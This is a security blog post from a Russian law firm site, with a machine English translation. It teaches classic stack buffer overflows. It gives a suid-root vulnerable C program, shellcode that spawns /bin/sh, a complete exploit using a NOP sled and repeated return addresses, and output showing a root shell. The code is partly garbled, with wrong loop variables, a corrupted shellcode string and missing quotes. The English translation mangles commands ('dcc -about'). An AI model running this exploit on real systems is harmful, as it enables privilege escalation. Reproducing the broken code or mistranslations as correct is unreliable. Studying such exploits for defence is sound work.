Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Переполнения в стеке.

Обновлено 11.01.2026 09:02

 

Переполнения в стеке.

 

Вернемся к примеру программы с переполнением буфера - buffoverflow. Когда вызывается функция buffoverflow(), в стек помещается кадр стека. Однако когда функция пытается записать 128 байт данных в буффер длиной 20 байт, лишние 108 байт запишутся за пределы буфера, затирая указатель кадра стека, адрес возврата и аргумент функции указатель str. Затем, когда функция завершает свою работу, программа пытается перейти по адресу возврата, который теперь заполнен буквами А, или 0x41 в шестнадцатеричном виде. Программа пытается выполнить возврат по этому адресу, заставляя EIP перейти на

0x41414141 – некоторый случайный адрес, который либо относится к недопустимому пространству памяти, либо содержит недопустимые команды, - что приводит к аварийному завершению программы. Это называется переполнением в стеке, потому что оно происходит в стековом сегменте памяти.

Переполнение может происходить и в других сегментах памяти, например в куче или bss, но переполнения в стеке более разнообразны и интересны, поскольку могут изменять адрес возврата. Аварийное завершение программы при переполнении в стеке не столь интересно, как причина, по которой оно происходит. Если адрес возврата можно было бы контролировать и записать в него не 0x41414141, а что-то другое, например адрес, где находится реально исполняемый код, то тогда программа «вернулась» бы и выполнила этот код, а не завершилась аварийно. А если данные, переписывающие адрес возврата, зависят от данных, введенных пользователем, например от текста в поле для ввода имени пользователя, то он сможет управлять адресом возврата и последующим выполнением программы.

Если можно модифицировать адрес возврата и изменить порядок выполнения путем переполнения буфера, то все, что требуется, - это какой-нибудь полезный код, который хотелось бы выполнить. Здесь мы сталкиваемся с инжекцией байт-кода. Байт-код - это искусно написанный на ассемблере код, являющийся законченной программой, которую можно внедрить в буфер. На байт-код накладываются некоторые ограничения: он должен быть законченной программой, и в нем не должно быть некоторых специальных символов, потому что он должен иметь вид обычных данных, помещаемых в буфер.

Самый распространенный пример байт-кода - это шелл-код. Это такой байт-код, который запускает оболочку. Если suid-программу с правами root удастся заставить выполнить шелл-код, то атакующий получит пользовательскую оболочку с правами root, при этом система будет считать, что suid-программа продолжает делать то, что ей положено. Вот пример:

Код vulnerable.c

int main(int argc, char *argv[]) {

char buffer[500]; strcpy(buffer, argv[1]); return 0;

}

Это пример уязвимого программного кода, аналогичного приведенной ранее функции buffoverflow(), который принимает один аргумент и пытается поместить его значение, каким бы оно ни было, в буфер длиной 500 байт. Вот обычные результаты компиляции и выполнения данной программы:

$ gсс -о vulnerable vulnerable.c

$ ./vulnerable test

Эта программа не выполняет никаких действий, кроме неаккуратного обращения с памятью. Чтобы сделать ее действительно причиной уязвимости, изменим владельца на root и установим бит suid для скомпилированного двоичного файла:

$ sudo chown root vulnerable

$ sudo chmod +s vulnerable

$ Is -1 vulnerable

-rwsr-sr-x 1 root users 4933 Sep 5 15:22 vulnerable

Итак, vulnerable представляет собой suid-программу с правами root, уязвимую к переполнению буфера, и нам нужен код, чтобы сгенерировать буфер, который можно подать на вход уязвимой программы. Этот буфер должен содержать желаемый шелл-код и переписывать адрес возврата в стеке таким образом, чтобы этот шелл-код оказался выполненным. Для этого надо заранее узнать фактический адрес шелл-кода, что может быть непросто в динамически изменяемом стеке. Еще большую сложность вызывает необходимость поместить значение этого адреса на место тех четырех байт, в которых хранится адрес возврата в кадре стека. Даже если известен правильный адрес, но не будет затерт нужный участок памяти, программа просто аварийно завершится. Чтобы облегчить эти сложные махинации, применяются два стандартных приема.

Первый известен как NOP-цепочка (NOP-sled; NOP - сокращение от no operation). Данная однобайтовая команда не выполняет абсолютно никаких действий. Иногда ее применяют в холостых циклах для синхронизации, а в архитектуре Sparc она действительно необходима для конвейера команд. В нашем случае команды NOP будут использованы с другой целью: для мошенничества. Мы создадим длинную цепочку команд NOP и поместим ее перед шелл-кодом, и тогда если EIP возвратится по любому адресу, входящему в NOP-цепочку, то он станет расти, поочередно выполняя каждую команду NOP, пока не доберется до шелл-кода. Это значит, что если адрес возврата переписать любым из адресов, входящих в NOP-цепочку, то EIP соскользнет вниз по цепочке до шелл-кода, который выполнится, а нам только того и надо.

Второй прием состоит в заполнении конца буфера помещенными вплотную друг к другу копиями нужного адреса возврата. Благодаря этому как только любой из этих адресов возврата перепишет фактический адрес возврата, эксплойт сработает согласно замыслу.

Вот как выглядит создаваемый буфер:

Вид буфера:

NOP-цепочка;

Шелл-код;

Повторяющийся адрес возврата.

Но применение обоих этих приемов не освобождает от необходимости знать примерный адрес буфера в памяти, чтобы определить правильный адрес возврата. Примерно определить адрес памяти можно с помощью текущего указателя стека. Вычитая из этого указателя стека смещение, можно получить относительный адрес любой переменной. Поскольку в нашей уязвимой программе первым элементом на стеке оказывается буфер, в который помещается шелл-код, нужным адресом возврата должен оказаться указатель стека, т. е. смещение должно быть близко к 0. Полезность NOP-цепочки увеличивается

при создании эксплойтов для более сложных программ, когда смещение отлично от 0.

Ниже показан код эксплойта, который создает буфер и передает его уязвимой программе в надежде заставить ее выполнить внедренный в буфер шелл-код, а не просто аварийно завершиться. Код эксплойта сначала получает текущий указатель стека и вычитает из него смещение. В данном случае смещение равно 0. Выделяется память для буфера (в куче), и весь он заполняется адресом возврата. Затем первые 200 байт буфера заполняются NOP-цепочкой (команда NOP на машинном языке процессора х86 эквивалентна числу 0x90). После NOP-цепочки помещается шелл-код, а в оставшейся части буфера сохраняется записанный адрес возврата. Поскольку конец символьного буфера отмечается нулевым байтом, буфер завершается значением 0. Наконец, еще одна функция запускает уязвимую программу и передает ей специально сконструированный буфер.

Код testexploit.с

include <stdlib.h>

char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\

x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\

x2f\x73" Лх68";

unsigned long sp(void) // Эта маленькая функция

{ __asm__("mov %esp, %eax");> // возвращает указатель на стек

int main(int argc, char *argv[]) {

int i, offset;

long esp, ret, *addr_ptr;

char *buffer, *ptr;

offset =0; // Задать смещение О

esp = sp(); // Поместить текущий указатель стека в esp

ret = esp – offset; // Мы хотим переписать адрес возврата

printf("Stack pointer (ESP) : Ох%х\п", esp);

printf("Offset from ESP : Ox%x\n", offset);

printf("Desired Return Addr : Ox%x\n", ret);

// Выделить для буфера 600 байт (в куче)

buffer = malloc(600);

// Заполнить весь буфер нужным адресом возврата

ptr = buffer;

addr_ptr = (long *) ptr;

for(i=0; l < 600; i+=4) {

*(addr_ptr++) = ret;

}

// Заполнить первые 200 байт буфера командами NOP

for(i=0; i < 200; i++) {

buffer[i] = '\x90';

}

// Поместить шелл-код после NOP-цепочки

ptr = buffer + 200;

for(i=0; l < strlen(shellcode); i++) {

*(ptr++) = shellcode[i];

}

// Завершить строку

buffer[600-1] = 0;

// Теперь вызываем программу ./vuln, передав в качестве аргумента // построенный буфер

execl("./vulnerable, "vulnerable", buffer, 0);

// Освободить память буфера free(buffer);

return 0;

}

Вот результаты компиляции и последующего выполнения кода эксплойта:

$ gсс -о testexploit testexploit.с

$ ./testexploit

Stack pointer (ESP) : 0xbffff978

Offset from ESP : 0x0

Desired Return Addr : 0xbffff978

sh-2.05a# whoami

root

sh-2.05a#

Очевидно, все сработало. Адрес возврата в стеке был переписан значением 0xbffff978, которое представляет собой адрес NOP-цепочки и шелл-кода. Поскольку программа выполнялась с правами root, а шелл-код запускает оболочку пользователя, уязвимая программа выполнила шелл-код в качестве пользователя root, несмотря на то что первоначально она должна была только скопировать некоторые данные и завершить работу.

Петухов Олег, юрист в области международного права и защиты персональных данных, специалист в области информационной безопасности, защиты информации и персональных данных.

Телеграм-канал: https://t.me/zashchitainformacii

Группа в Телеграм: https://t.me/zashchitainformacii1

Сайт: https://legascom.ru

Электронная почта: online@legascom.ru

#защитаинформации #информационнаябезопасность

 

Stack overflow.

 

Let's return to the example of a buffer overflow program - buffoverflow. When the buffoverflow() function is called, a stack frame is placed on the stack. However, when the function tries to write 128 bytes of data to a 20-byte buffer, the extra 108 bytes will be written outside the buffer, overwriting the stack frame pointer, return address, and function argument pointer str. Then, when the function completes its work, the program tries to navigate to the return address, which is now filled with the letters A, or 0x41 in hexadecimal. The program tries to return to this address, forcing the EIP to switch to

0x41414141 is some random address that either refers to an invalid memory space or contains invalid commands, which causes the program to crash. This is called a stack overflow because it occurs in the stack segment of memory.

Overflows can occur in other memory segments, such as the heap or bss, but stack overflows are more diverse and interesting because they can change the return address. The crash of a program during a stack overflow is not as interesting as the reason why it occurs. If the return address could be controlled and written to it not 0x41414141, but something else, for example, the address where the actual executable code is located, then the program would "return" and execute this code, rather than crash. And if the data that rewrites the return address depends on the data entered by the user, for example, on the text in the field for entering the user's name, then he will be able to control the return address and the subsequent execution of the program.

If it is possible to modify the return address and change the execution order by overflowing the buffer, then all that is required is some useful code that you would like to execute. Here we are faced with bytecode injection. A bytecode is a code artfully written in assembler, which is a complete program that can be embedded in a buffer. There are some restrictions imposed on the bytecode: it must be a complete program, and it must not contain some special characters, because it must look like ordinary data placed in a buffer.

The most common example of bytecode is shell code. This is the bytecode that runs the shell. If a suid program with root rights can be forced to execute a shell code, the attacker will receive a user shell with root rights, while the system will assume that the suid program continues to do what it is supposed to do. Here is an example:

vulnerable code.c

int main(int argc, char *argv[]) {

char buffer[500]; strcpy(buffer, argv[1]); return 0;

}

This is an example of vulnerable program code, similar to the buffoverflow() function described earlier, which takes a single argument and tries to put its value, whatever it may be, into a 500-byte buffer. Here are the usual results of compiling and executing this program:

$ dcc -about vulnerable vulnerable.c

$ ./vulnerable test

This program does not perform any actions other than careless memory management. To make it really the cause of the vulnerability, we will change the owner to root and set the suid bit for the compiled binary file:

$sudo chown root vulnerable

$ sudo chmod +s vulnerable

$ Is -1 vulnerable

-rwsr-sr-x 1 root users 4933 Sep 5 15:22 vulnerable

So, vulnerable is a suid program with root rights that is vulnerable to buffer overflow, and we need code to generate a buffer that can be submitted to the vulnerable program's input. This buffer should contain the desired shellcode and rewrite the return address on the stack so that this shellcode is executed. To do this, you need to know the actual address of the shellcode in advance, which can be difficult in a dynamically mutable stack. Even more difficult is the need to put the value of this address in the place of the four bytes that store the return address in the stack frame. Even if the correct address is known, but the required area of memory is not erased, the program will simply crash. To facilitate these complex machinations, two standard techniques are used.

The first one is known as the NOP chain (NOP-sled; NOP is short for no operation). This single-byte command performs absolutely no actions. Sometimes it is used in idle cycles for synchronization, but in the Sparc architecture it is really necessary for the instruction pipeline. In our case, NOP commands will be used for another purpose: for fraud. We will create a long chain of NOP commands and place it in front of the shellcode, and then if the EIP returns to any address included in the NOP chain, it will grow, executing each NOP command in turn, until it gets to the shellcode. This means that if the return address is overwritten with any of the addresses included in the NOP chain, the EIP will slide down the chain to the shell code, which will be executed, and that's all we need.

The second technique is to fill the end of the buffer with copies of the desired return address placed close together. As a result, as soon as any of these return addresses overwrites the actual return address, the exploit will work as intended.

This is what the buffer being created looks like

: Buffer type:

NOP chain;

Shell code;

A duplicate return address.

But using both of these techniques does not eliminate the need to know the approximate address of the buffer in memory in order to determine the correct return address. You can roughly determine the memory address using the current stack pointer. By subtracting the offset from this stack pointer, you can get the relative address of any variable. Since in our vulnerable program, the first element on the stack is the buffer into which the shell code is placed, the stack pointer should be the desired return address, i.e. the offset should be close to 0. The usefulness of the NOP chain increases.

when creating exploits for more complex programs when the offset is different from 0.

Below is the exploit code that creates a buffer and passes it to the vulnerable program in the hope of forcing it to execute the shell code embedded in the buffer, rather than simply crash. The exploit code first gets the current stack pointer and subtracts the offset from it. In this case, the offset is 0. Memory is allocated for the buffer (in the heap), and it is filled with the return address. Then the first 200 bytes of the buffer are filled with a NOP chain (the NOP command in the machine language of the x86 processor is equivalent to the number 0x90). A shell code is placed after the NOP chain, and the recorded return address is stored in the remaining part of the buffer. Since the end of the character buffer is marked with a zero byte, the buffer ends with a value of 0. Finally, another function launches the vulnerable program and passes it a specially designed buffer.

testexploit code.with

include <stdlib.h>

char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\

x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\

x2f\x73" Lh68";

unsigned long sp(void) // This little function

{ __asm__("mov %esp, %eax");> // returns a pointer to the stack

int main(int argc, char *argv[]) {

int i, offset;

long esp, ret, *addr_ptr;

char *buffer, *ptr;

offset =0; // Set the offset About

esp = sp(); // Put the current stack pointer in esp

ret = esp – offset; // We want to rewrite the return address

printf("Stack pointer (ESP) : Oh%x\n", esp);

printf("Offset from ESP : Ox%x\n", offset);

printf("Desired Return Addr : Ox%x\n", ret);

// Allocate 600 bytes for the buffer (in the pile)

buffer = malloc(600);

// Fill the entire buffer with the required return address

ptr = buffer;

addr_ptr = (long *) ptr;

for(i=0; l < 600; i+=4) {

*(addr_ptr++) = ret;

}

// Fill the first 200 bytes of the buffer with NOP commands

for(i=0; i < 200; i++) {

buffer[i] = '\x90';

}

// Put the shellcode after the NOP chain

ptr = buffer + 200;

for(i=0; l < strlen(shellcode); i++) {

*(ptr++) = shellcode[i];

}

// End line

buffer[600-1] = 0;

// Now we call the program ./vuln, passing as an argument // the built buffer

execl("./vulnerable, "vulnerable", buffer, 0);

// Free the buffer memory free(buffer);

return 0;

}

Here are the results of the compilation and subsequent execution of the exploit code:

$ dcc -about testexploit testexploit.with

$ ./testexploit

Stack pointer (ESP) : 0xbffff978

Offset from ESP : 0x0

Desired Return Addr : 0xbffff978

sh-2.05a# whoami

root

sh-2.05a#

Obviously, it worked. The return address on the stack has been overwritten with the value 0xbffff978, which is the address of the NOP chain and the shellcode. Since the program was running as root, and the shellcode runs the user's shell, the vulnerable program executed the shellcode as the root user, despite the fact that initially it was only supposed to copy some data and shut down.

Oleg Petukhov, lawyer in the field of international law and personal data protection, information security specialist security, protection of information and personal data.

Telegram channel: https://t.me/protectioninformation

Telegram Group: https://t.me/informationprotection1

Website: https://legascom.ru

Email: online@legascom.ru

#informationprotection #informationsecurity